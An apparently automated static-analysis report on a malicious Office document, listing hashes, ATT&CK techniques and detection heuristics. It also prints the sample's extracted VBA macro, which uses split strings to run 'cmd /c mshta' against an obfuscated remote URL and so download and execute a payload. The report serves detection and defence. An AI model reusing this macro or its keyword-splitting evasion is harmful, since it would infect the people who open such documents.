Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 09ac5dfcf9b2be61…

MALICIOUS

Office (OOXML)

7.3 KB First seen: 2021-10-23
MD5: 2c453dd70486f3e71baf99312ca1f14c SHA-1: 73b96ee4bdab7ac7aa0605a7d1f720600cc970cb SHA-256: 09ac5dfcf9b2be6133879b669ae5a40d8ce109aa874ad8959a6dbee3ef6527f9
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening, specifically within the Auto_Close function. This macro uses obfuscated string concatenation to construct a command that downloads and executes a payload from a constructed URL. The primary technique observed is the use of Visual Basic for Application (VBA) to execute commands, specifically 'cmd /c mshta' to fetch and run a remote script.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 694 bytes
SHA-256: 57825654824ab1bd9e6b956fa71419b41522e4310de28d96e837a4e57b5bd049
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Function Auto_ClOse() As Variant

maviya11 = " h" + "t" + "" + "" + "" + "" + "t" + "p" + ":" + "/" + "/" + "1" + "2" + "3" + "0" + "9" + "4" + "8"
maviya22 = "%" + "1" + "2" + "3" + "0" + "9" + "4" + "" + "" + "" + "" + "8" + "@" + "b" + "i" + "" + "t" + "l" + "y" + "." + "co" + "m" + "/"
maviya33 = "uiwqhdbjkasbd" + "aa" + "dtyasdha" + "etyqgdbhjs"

: Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "p" + "" + "" + "i" + "ng": Shell "c" + "m" + "d /" + "c m" + "s" + "h" + "t" + "a" + maviya11 + maviya22 + maviya33: Shell "pi" + "ng": Shell "pi" + "ng": Shell "pi" + "ng": Shell "p" + "i" + "n" + "g"


End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 14336 bytes
SHA-256: c619af7b4a8a1ab713a9776e4cedcdc712413054f89b04d3e21e2c58ff7693a9

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